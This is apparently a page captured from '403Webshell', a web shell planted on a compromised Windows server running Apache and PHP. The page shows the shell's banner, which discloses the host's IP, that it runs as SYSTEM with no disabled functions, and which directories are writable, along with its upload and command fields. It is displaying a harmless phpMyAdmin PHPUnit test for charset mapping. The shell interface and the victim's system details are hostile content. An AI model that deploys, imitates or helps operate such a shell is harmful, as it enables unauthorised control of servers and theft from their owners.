403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/phpMyAdmin/test/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/phpMyAdmin/test/libraries/PMA_iconv_wrapper_test.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Tests for Charset Conversions for IBM AIX compliant codes
 *
 * @package PhpMyAdmin-test
 */

/*
 * Include to test.
 */
require_once 'libraries/iconv_wrapper.lib.php';

/**
 * Tests for Charset Conversions for IBM AIX compliant codes
 *
 * @package PhpMyAdmin-test
 */
class PMA_Iconv_Wrapper_Test extends PHPUnit_Framework_TestCase
{

    /**
     * Test for PMA_convertAIXMapCharsets
     *
     * @param string $in_charset         Non IBM-AIX-Compliant in-charset
     * @param string $out_charset        Non IBM-AIX-Compliant out-charset
     * @param string $in_charset_mapped  IBM-AIX-Compliant in-charset
     * @param string $out_charset_mapped IBM-AIX-Compliant out-charset
     *
     * @return void
     * @test
     * @dataProvider iconvDataProvider
     */
    public function testIconvMapCharsets($in_charset, $out_charset,
        $in_charset_mapped, $out_charset_mapped
    ) {
        $this->assertEquals(
            array($in_charset_mapped, $out_charset_mapped),
            PMA_convertAIXMapCharsets($in_charset, $out_charset)
        );
    }


    /**
     * Data provider for testIconvMapCharsets
     *
     * @return array data for testIconvMapCharsets test case
     */
    public function iconvDataProvider()
    {
        return array(
            array(
                'UTF-8',
                'ISO-8859-1//IGNORE',
                'UTF-8',
                'ISO-8859-1//IGNORE'
            ),
            array(
                'UTF-8',
                'ISO-8859-1//TRANSLIT',
                'UTF-8',
                'ISO8859-1'
            ),
            array('UTF-8',
                'ISO-8859-9',
                'UTF-8',
                'ISO8859-9'
            )
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit